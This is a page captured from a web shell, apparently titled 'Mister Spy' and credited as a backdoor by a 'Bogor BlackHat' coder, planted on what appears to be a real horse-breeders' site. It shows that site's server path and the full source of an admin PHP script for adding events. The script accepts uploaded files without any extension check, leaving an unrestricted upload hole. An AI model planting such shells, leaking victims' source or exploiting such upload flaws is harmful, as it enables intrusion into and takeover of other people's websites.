Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/admin/
Upload File :
Current File : /home/caballoscriollos/www/web/admin/json-eventos-add.php

<?php
require_once('../inc_library.php'); 

/* obtenemos datos enviados */
$arrCategorias				= $_REQUEST['IdCategoria'];
$arrCategoriasSubrubro		= $_REQUEST['IdCategoriaSubrubro'];
$arrInstancias				= $_REQUEST['IdInstancia'];

$IdRegion 					= intval($_REQUEST['IdRegion']);
$Fecha						= strval($_REQUEST['Fecha']);
$Titulo						= strval($_REQUEST['Titulo']);
$Observaciones				= strval($_REQUEST['Observaciones']);
$DescripcionTarifas			= strval($_REQUEST['DescripcionTarifas']);
$FechaHasta					= strval($_REQUEST['FechaHasta']);
$Direccion					= strval($_REQUEST['Direccion']);
$FechaInscripcionDesde		= strval($_REQUEST['FechaInscripcionDesde']);
$FechaInscripcionHasta		= strval($_REQUEST['FechaInscripcionHasta']);
$Suspendido					= intval($_REQUEST['Suspendido']);
$InformacionAdicional		= strval($_REQUEST['InformacionAdicional']);
$IdProvincia				= intval($_REQUEST['IdProvincia']);

$Localidad					= strval($_REQUEST['Localidad']);
$Video						= strval($_REQUEST['Video']);
$arrKeywords				= $_REQUEST['keyword'];
$Submit						= (isset($_REQUEST['Submitted']));

/* declaramos e instanciamos variables necesarias */
$err			= 0;
$oEvento			= new Evento();
$oEventos			= new Eventos();
$oCategorias 		= new Categorias();
$oEventoArchivos	= new EventoArchivos();
$oEventosCategorias = new EventosCategorias();
$oKeywords			= new Keywords();
$oRegiones			= new Regiones();

/* definimos cadena a mandar por get */

/* validaciones... */
if ($Fecha == '')
	$err |= 2;
if ($Titulo == '')
	$err |= 4;

/* si no hay errores... */
if ($err == 0)
{
	$Imagen 		= $_FILES['Imagen-1'];
	
	/* si no hay errores... */
	if ($Imagen['name'] != '')
	{
		if ($Imagen['error'] != 1)
		{
			$oUpload = new Image
			(
				$Imagen['name'], 
				$Imagen['tmp_name'], 
				$Imagen['size'], 
				$Imagen['type'], 
				array(Evento::PathImageBig, Evento::PathImageThumb),
				array('jpg', 'jpeg', 'gif', 'png'),				
				array(1200, 1200), 
				array(600, 600),
				array('Resize', 'Adaptive'),
				100
			);
		}
	}
	
	if (!$oUpload || $oUpload->UploadImage())
	{
		$oRegion = $oRegiones->GetById($IdRegion);

		$oEvento->IdRegion				= $IdRegion;
		$oEvento->Fecha					= $Fecha;
		$oEvento->Titulo				= $Titulo;
		$oEvento->Observaciones			= $Observaciones;
		$oEvento->DescripcionTarifas	= $DescripcionTarifas;
		$oEvento->FechaHasta			= $FechaHasta;
		$oEvento->Direccion				= $Direccion;
		$oEvento->FechaInscripcionDesde	= $FechaInscripcionDesde;
		$oEvento->FechaInscripcionHasta	= $FechaInscripcionHasta;
		$oEvento->IdDelegado			= $oRegion->IdDelegado;
		$oEvento->Suspendido			= $Suspendido;
		$oEvento->InformacionAdicional	= $InformacionAdicional;
		$oEvento->IdProvincia			= $IdProvincia;
		$oEvento->Localidad				= $Localidad;
		$oEvento->Imagen 				= $oUpload ? $oUpload->GetNombre() : '';

		/* creamos el registro */	
		$oEvento = $oEventos->Create($oEvento);

		$count = 0;
		foreach ($arrCategorias as $IdCategoria) {
			$oEC = new EventoCategoria();
			$oEC->IdEvento = $oEvento->IdEvento;
			$oEC->IdCategoria = $IdCategoria;
			$oEC->IdCategoriaSubrubro = $arrCategoriasSubrubro[$count];
			$oEC->IdInstancia = $arrInstancias[$count];
			$oEventosCategorias->Create($oEC);
			$count++;
		}
		
		$arrArchivos = $_FILES['Archivo'];
		$count = 0;
		foreach($_FILES['Archivo']['tmp_name'] as $key => $tmp_name)
		{
			if ($_FILES['Archivo']['name'][$key] == '') 
				continue;
				
			$oUpload = new Up
			(
				$key.$_FILES['Archivo']['name'][$key], 
				$_FILES['Archivo']['tmp_name'][$key], 
				$_FILES['Archivo']['size'][$key], 
				$_FILES['Archivo']['type'][$key], 
				Evento::PathFile
			);
			
			$Nombre = $_REQUEST['NombreArchivo'][$count];
			
			if ($Nombre == '')
				$Nombre = $_FILES['Archivo']['name'][$key];
				
			if ($oUpload->UploadFile())
			{
				$oEventoArchivo = new EventoArchivo();
				$oEventoArchivo->IdEvento	= $oEvento->IdEvento;
				$oEventoArchivo->Nombre		= $Nombre;
				$oEventoArchivo->Archivo	= $oUpload->GetNombre();

				/* creamos el registro */	
				$oEventoArchivo = $oEventoArchivos->Create($oEventoArchivo);
			}
			
			$count++;
		}

		header('Content-type: application/json');
		echo json_encode(array("Success" => true, "Error" => ""));
	}
	else
	{
	header('Content-type: application/json');
	echo json_encode(array("Success" => false, "Error" => utf8_encode($err. "Error al procesar la imagen.")));
	}
}
else
{
	header('Content-type: application/json');
	echo json_encode(array("Success" => false, "Error" => utf8_encode($err. "Error al crear el evento.")));
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat